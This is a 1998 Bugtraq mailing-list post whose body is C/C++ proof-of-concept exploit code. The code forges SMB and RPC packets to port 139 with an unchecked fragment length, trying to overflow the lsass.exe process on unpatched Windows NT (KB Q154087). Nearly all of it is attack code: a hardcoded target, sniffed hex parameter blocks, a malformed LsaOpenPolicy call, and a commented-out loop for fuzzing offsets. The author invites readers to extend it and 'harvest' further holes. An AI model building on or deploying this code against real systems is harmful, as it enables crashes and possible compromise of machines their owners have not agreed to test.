SMB/RPC workbench code
X-RDate: Sun, 10 May 1998 16:42:39 +0600 (YEKST)
X-UIDL: 35317d34000001bd
Date: Tue, 5 May 1998 18:29:40 -0500
From: Greg Hoglund <gregh@WEBTRENDS.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: SMB/RPC workbench code
sorry if my email program mucked up the code formatting...
////////////////////////////////////////////////////
// Workshop code to test offsets in SMB/RPC calls
// over TCP/IP
//
// May 1, 1998
// Greg Hoglund http://www.asmodeus.com
//
// I recently became aware of some issues in the lsass.exe
// process. Prior to the lsa2-fix hotfix, you can apparently
// buffer overflow lsass thru an RPC call.
// See KB Q154087
//
// I wrote this code this morning to try and exploit
// this behavior. I skipped alot and just hard coded
// some parameter blocks. You might want to play with
// this or improve upon it. If you make improvements
// I sincerely ask that you release the update.
//
// RPC and Netbios are an orchard just waiting to
// be picked. I hope that this code will help the
// harvest.
////////////////////////////////////////////////////
#ifndef UNICODE
#define UNICODE
#endif // UNICODE
#include <windows.h>
#include <stdio.h>
// from the ddk
#include "ntsecapi.h"
#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13
//
// If you have the ddk, include ntstatus.h.
//
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
////////////////////////////////////////////////
// Targets
//
// The NBT header length and RPC fragment offset
// can be set. Incorrect RPC fragment offset
// can overflow the remote lsass.exe process
////////////////////////////////////////////////
#define TARGET_IP "192.168.0.28"
#define TARGET_MACHINENAME "LARRY"
#define TARGET_USERNAME "GREGH"
#define NBT_PACKET_LENGTH 0xA400
#define RPC_FRAGMENT_OFFSET 0xFFFF
////////////////////////////////////////////////
// SMB/NBT/RPC structures for packets
////////////////////////////////////////////////
typedef struct _NBTHeader
{
struct {
u_char packetType;
u_char packetFlags;
#define NBT_ADDLEN 0x00
u_short packetLen;
} s;
} NBT_HEADER, *NBT_HEADER_P;
// this isn't exactly to spec, but everything is aligned OK
typedef struct _SMB
{
struct smb_static{
NBT_HEADER NBTHeader;
u_char protocol[4]; // Contains 0xFF,'SMB'
u_char command; // Command code
u_char status[4]; // error
u_char flags; // Flags
u_short flags2; // More flags
u_char pad[12]; // Ensure section is 12 bytes long
u_short tid; // Tree identifier
u_short pid; // Opaque for client use
u_short uid; // User id
u_short mid; // multiplex id
u_char wordCount; // Count of parameter words
} s;
u_short *parameterWordsP; // The parameter words
u_short byteCount; // Count of bytes
u_char *bufferP; // The bytes
} SMB_HEADER, *SMB_HEADER_P;
// RPC structures
// I pulled from cifsntdomain.txt:
// http://mailhost.cb1.com/~lkcl/ntdom/cifsntdomain.txt
typedef struct _RPCHeader
{
u_char versionMaj;
u_char verisonMin;
u_char type;
u_char flags;
u_long rep;
u_short fraglength; // THIS is NOT sanity checked, oops. Fixed in lsa2-fix
u_short authlen;
u_long callid;
} RPC_HEADER, *RPC_HEADER_P;
typedef struct _RPC_Bind
{
u_short maxtsize;
u_short maxrsize;
u_long assocgid;
u_long numelements;
u_short contextid;
u_char numsyntaxes;
} RPC_BIND, *RPC_BIND_P;
// I didn't have the structures for these parameter blocks. I sniffed
these ones.
// Perhaps someone (?) could look them up / figure them out
// sets up desired access, create flags, etc...
static char CreateXParms[] =
"\xFF\x00\x00\x00\x00\x0E\x00\x06\x00\x00\x00\x00\x00\x00" \
"\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \
"\x00\x02\x00\x00\x00\x00";
static char RTransact[] =
"\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02\x00" \
"\x26\x00\x02\x08";
static char RTransact2[] =
"\x00\x00\x92\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x54\x00\x92\x00\x54\x00\x02\x00"
"\x26\x00\x00\x08";
// UNICODE = "\.l.s.a.r.p.c." (prefixed with 0x20 ?)
static char CreateXFilename[] =
"\x20\x5C\x00\x6C\x00\x73\x00\x61\x00\x72\x00\x70\x00\x63\x00\x00\x00";
static char PresentationContext[] =
"\x01\x00\x00\x00\x00\x00\x01\x00\x78\x57\x34\x12\x34\x12\xCD" \
"\xAB\xEF\x00\x01\x23\x45\x67\x89\xAB\x00\x00\x00\x00\x04\x5D" \
"\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02" \
"\x00\x00\x00";
// C NT Create & X
SMB_HEADER_P CreateSMBOpenPacket()
{
SMB_HEADER_P sHeadP = new SMB_HEADER;
memset(sHeadP, 0, sizeof(SMB_HEADER));
NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);
nbtHeaderP->s.packetType = 0x00; // Session Manage == 0x00
nbtHeaderP->s.packetFlags = 0x00;
nbtHeaderP->s.packetLen = 0x0000; // I set the correct packet size later
memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol
sHeadP->s.command = (char)0xA2; //Command == Create & X
sHeadP->s.flags = (char)0x18; //0x18 == (using caseless pathnames |
canonical pathnames)
sHeadP->s.flags2 = 0x8003; //0x8003 == (understand long filenames |
extended attribs | UNICODE )
// i chose these arbritrary (sniffed packet)
sHeadP->s.tid = 0x800;
sHeadP->s.pid = 0x1E00;
sHeadP->s.uid = 0x801;
sHeadP->s.mid = 0xC0;
// setup parameters for "Create & X" command
sHeadP->s.wordCount = 24;
sHeadP->parameterWordsP = (u_short *) CreateXParms;
sHeadP->byteCount = 17;
sHeadP->bufferP = (u_char *) CreateXFilename;
return (sHeadP);
}
SMB_HEADER_P CreateRPCBind(int size)
{
SMB_HEADER_P sHeadP = new SMB_HEADER;
memset(sHeadP, 0, sizeof(SMB_HEADER));
NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);
nbtHeaderP->s.packetType = 0x00; // Session Manage == 0x00
nbtHeaderP->s.packetFlags = 0x00;
nbtHeaderP->s.packetLen = 0x0000; // FIXME need to set correct packet size
memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol
sHeadP->s.command = (char)0x25; //Command == RTransact
sHeadP->s.flags = (char)0x18; //0x18 == (using caseless pathnames |
canonical pathnames)
sHeadP->s.flags2 = 0x8003; //0x8003 == (understand long filenames |
extended attribs | UNICODE )
// i chose these arbritrary (sniffed packet)
sHeadP->s.tid = 0x800;
sHeadP->s.pid = 0x1E00;
sHeadP->s.uid = 0x801;
sHeadP->s.mid = 0xC0;
// setup parameters for "RTransact" command
sHeadP->s.wordCount = 16;
sHeadP->parameterWordsP = (u_short *) RTransact;
sHeadP->byteCount = 89;
sHeadP->bufferP = new u_char[89];
// UNICODE "\.P.I.P.E.\." prefixed w/ NULL
memcpy(sHeadP->bufferP,
"\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17);
RPC_HEADER rpchead;
rpchead.versionMaj = 0x05;
rpchead.verisonMin = 0x00;
rpchead.type = 0x0B; // Type == Bind
rpchead.flags = 0x00;
rpchead.rep = 0x00000010;
rpchead.fraglength = size; // THIS is NOT sanity checked, oops.
rpchead.authlen = 0x0000;
rpchead.callid = 0xBAADF00D; // someone eat bad chinese for lunch? (this
is hard coded in NT)
memcpy(sHeadP->bufferP + 17, &rpchead, sizeof(RPC_HEADER));
RPC_BIND rpcbind;
rpcbind.maxtsize = 0x1630;
rpcbind.maxrsize = 0x1630;
rpcbind.assocgid = 0x0000;
rpcbind.numelements = 0x01;
rpcbind.contextid = 0x00;
rpcbind.numsyntaxes = 0x01;
memcpy( sHeadP->bufferP
+ 17
+ sizeof(RPC_HEADER), &rpcbind, sizeof(RPC_BIND));
memcpy( sHeadP->bufferP
+ 17
+ sizeof(RPC_HEADER)
+ sizeof(RPC_BIND), PresentationContext, 48);
return (sHeadP);
}
SMB_HEADER_P CreateRPCRequest(int size)
{
SMB_HEADER_P sHeadP = new SMB_HEADER;
memset(sHeadP, 0, sizeof(SMB_HEADER));
NBT_HEADER_P nbtHeaderP = &(sHeadP->s.NBTHeader);
nbtHeaderP->s.packetType = 0x00; // Session Manage == 0x00
nbtHeaderP->s.packetFlags = 0x00;
nbtHeaderP->s.packetLen = 0x0000; // set the size later
memcpy(sHeadP->s.protocol, "\xFFSMB", 4); //standard SMB protocol
sHeadP->s.command = (char)0x25; //Command == RTransact
sHeadP->s.flags = (char)0x18; //0x18 == (using caseless pathnames |
canonical pathnames)
sHeadP->s.flags2 = 0x8003; //0x8003 == (understand long filenames |
extended attribs | UNICODE )
// i chose these arbritrary (sniffed packet)
sHeadP->s.tid = 0x800;
sHeadP->s.pid = 0xA700;
sHeadP->s.uid = 0x800;
sHeadP->s.mid = 0x14C0;
// setup parameters for "RTransact" command
sHeadP->s.wordCount = 16;
sHeadP->parameterWordsP = (u_short *) RTransact2;
sHeadP->byteCount = 97;
sHeadP->bufferP = new u_char[97];
// UNICODE "\.P.I.P.E.\." prefixed w/ NULL
memcpy(sHeadP->bufferP,
"\x00\x5C\x00\x50\x00\x49\x00\x50\x00\x45\x00\x5C\x00\x00\x00\x00\xD5", 17);
RPC_HEADER rpchead;
rpchead.versionMaj = 0x05;
rpchead.verisonMin = 0x00;
rpchead.type = 0x00; // Type == Request
rpchead.flags = 0x03; // Set last fragment
rpchead.rep = 0x00000010;
rpchead.fraglength = size; // THIS is NOT sanity checked, oops.
rpchead.authlen = 0x0000;
rpchead.callid = 0x00000001;
memcpy( sHeadP->bufferP
+ 17, &rpchead, sizeof(RPC_HEADER));
// set the allocation hint, op number, and stub data...
// sorry, i didn't want to code the struct for these
// the target machine name "LARRY" is unicoded in this
// block, but I wasn't sure if lsass would even get to here
// if i managed to blow it's stack
// maybe someone(?) or i should code these structs...
// I get the impression there is still alot of reverse
// engineering going on for this, after reading the cifs
// stuff.. if i'm wrong, please point me to the source ;)
memcpy( sHeadP->bufferP
+ 17
+ sizeof(RPC_HEADER),
"\x38\x00\x00\x00\x00\x00\x2C\x00\xD8\x0D\x14" \
"\x00\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00" \
"\x00\x00\x4C\x00\x41\x00\x52\x00\x52\x00\x59" \
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x10\x08\x00\x00", 64);
return (sHeadP);
}
char * BuildPacket(SMB_HEADER_P sHeader, int *size)
{
//pack it down
int sHeaderSize = sizeof(struct _SMB::smb_static) + (sHeader->s.wordCount
* 2) + sHeader->byteCount + 1;
sHeader->s.NBTHeader.s.packetLen = NBT_PACKET_LENGTH;
*size = sHeaderSize;
char *tosend = new char[sHeaderSize];
memcpy( &tosend[0], sHeader, sizeof(SMB_HEADER::smb_static));
memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)],
sHeader->parameterWordsP, (sHeader->s.wordCount * 2));
memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)
+ (sHeader->s.wordCount * 2)], (void *)&sHeader->byteCount,
sizeof(sHeader->byteCount));
memcpy( &tosend[(sizeof(SMB_HEADER::smb_static) - 1)
+ (sHeader->s.wordCount * 2)
+ sizeof(sHeader->byteCount)], sHeader->bufferP, sHeader->byteCount);
return(tosend);
}
void
InitLsaString(
PLSA_UNICODE_STRING LsaString,
LPWSTR String
)
{
DWORD StringLength;
if (String == NULL) {
LsaString->Buffer = NULL;
LsaString->Length = 0;
LsaString->MaximumLength = 0;
return;
}
StringLength = wcslen(String);
LsaString->Buffer = String;
LsaString->Length = (USHORT) StringLength * sizeof(WCHAR);
LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR);
}
NTSTATUS
OpenPolicy(
LPWSTR ServerName,
DWORD DesiredAccess,
PLSA_HANDLE PolicyHandle
)
{
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
LSA_UNICODE_STRING ServerString;
PLSA_UNICODE_STRING Server = NULL;
//
// Always initialize the object attributes to all zeroes.
//
ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
if (ServerName != NULL) {
//
// Make a LSA_UNICODE_STRING out of the LPWSTR passed in
//
InitLsaString(&ServerString, ServerName);
Server = &ServerString;
}
// lets try to fuck this up
ObjectAttributes.Length = 65536;
//
// Attempt to open the policy.
//
return LsaOpenPolicy(
Server,
&ObjectAttributes,
DesiredAccess,
PolicyHandle
);
}
int _cdecl
main(void)
{
LSA_HANDLE PolicyHandle;
WCHAR wComputerName[256]=L""; // static machine name buffer
TCHAR AccountName[256]; // static account name buffer
NTSTATUS Status;
int iRetVal=RTN_ERROR; // assume error from main
wsprintf(AccountName, TEXT("%hS"), TARGET_USERNAME);
wsprintfW(wComputerName, L"%hS", TARGET_MACHINENAME);
//
// Open the policy on the target machine.
// This call sets up the /lsarpc pipe for us
// this maps to the lsass.exe process, which has some
// problems with buffer overflow.
// See knowledgebase article Q154087
//
// We could also use the CreateSMBOpenPacket() call above
// to do this manually. I figured it easier to
// use the system call....
if((Status=OpenPolicy(
wComputerName, // target machine
POLICY_CREATE_ACCOUNT | POLICY_LOOKUP_NAMES,
&PolicyHandle // resultant policy handle
)) != STATUS_SUCCESS) {
return RTN_ERROR;
}
// pipe is open, start forging your own packets
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2,1), &wsaData) != 0)
exit(1);
// we already handled this...
// Send SMBOpenX for /lsarpc which translates to lsass process
// SMB_HEADER_P sHeader = CreateSMBOpenPacket();
// I was looping thru all fragment offsets...
//for(int i = 0; i<65536; i++)
//{
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s == SOCKET_ERROR) exit(1);
SOCKADDR_IN addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(139);
addr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
SMB_HEADER_P sHeader = CreateRPCRequest(RPC_FRAGMENT_OFFSET);
int sPacketSize;
char *tosend = BuildPacket(sHeader, &sPacketSize);
if(connect(s, (struct sockaddr *) &addr, sizeof(SOCKADDR_IN)) !=
SOCKET_ERROR)
send(s, (char *) tosend, sPacketSize, 0);
closesocket(s);
//}
return(RTN_OK);
}